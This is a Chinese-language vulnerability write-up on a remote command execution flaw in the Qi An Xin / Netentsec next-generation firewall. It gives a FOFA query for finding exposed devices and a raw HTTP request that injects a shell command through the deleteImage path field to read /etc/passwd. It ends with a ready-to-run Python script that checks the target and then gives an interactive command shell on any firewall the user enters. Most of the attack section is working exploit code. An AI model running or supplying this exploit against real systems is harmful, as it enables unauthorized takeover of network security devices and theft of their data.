奇安信 网康下一代防火墙 RCE

# 奇安信 网康下一代防火墙 RCE

## 漏洞描述

奇安信 网康下一代防火墙存在远程命令执行，通过漏洞攻击者可以获取服务器权限

## 漏洞影响

> [!NOTE]
>
> 奇安信 网康下一代防火墙

## FOFA

> [!NOTE]
>
> app=”网康科技-下一代防火墙”

## 漏洞复现

登录页面如下


发送如下请求包

“`
POST /directdata/direct/router HTTP/1.1
Host: XXX.XXX.XXX.XXX
Connection: close
Content-Length: 179
Cache-Control: max-age=0
sec-ch-ua: “Google Chrome”;v=”89″, “Chromium”;v=”89″, “;Not A Brand”;v=”99″
sec-ch-ua-mobile: ?0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

{“action”:”SSLVPN_Resource”,”method”:”deleteImage”,”data”:[{“data”:[“/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt”]}],”type”:”rpc”,”tid”:17,”f8839p7rqtj”:”=”}

“`

再请求获取命令执行结果

“`
http://xxx.xxx.xxx.xxxx/test_cmd.txt
“`


## 漏洞POC

“`python
import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: 奇安信 网康下一代防火墙 \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url):
vuln_url = target_url + “/directdata/direct/router”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36”,
“Content-Type”: “application/json”,
}
data = ‘{“action”:”SSLVPN_Resource”,”method”:”deleteImage”,”data”:[{“data”:[“/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt”]}],”type”:”rpc”,”tid”:17,”f8839p7rqtj”:”=”}’
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
if response.status_code == 200 and “success” in response.text:
print(“\033[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \033[0m”.format(target_url))
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=target_url + “/test_cmd.txt”, headers=headers, data=data, verify=False, timeout=5)
if “root” in response.text and response.status_code == 200:
print(“\033[32m[o] 响应为： {} \033[0m”.format(response.text))
while True:
cmd = input(“\033[35mCmd >>> \033[0m”)
if cmd == “exit”:
sys.exit(0)
else:
POC_2(target_url, cmd)
else:
print(“\033[31m[x] 目标不存在漏洞 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

def POC_2(target_url, cmd):
vuln_url = target_url + “/directdata/direct/router”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36”,
“Content-Type”: “application/json”,
}
data = ‘{“action”:”SSLVPN_Resource”,”method”:”deleteImage”,”data”:[{“data”:[“/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt”]}],”type”:”rpc”,”tid”:17,”f8839p7rqtj”:”=”}’ % (cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=target_url + “/test_cmd.txt”, headers=headers, data=data, verify=False, timeout=5)
print(“\033[32m[o] 响应为： \n{} \033[0m”.format(response.text))
except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”, e)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
“`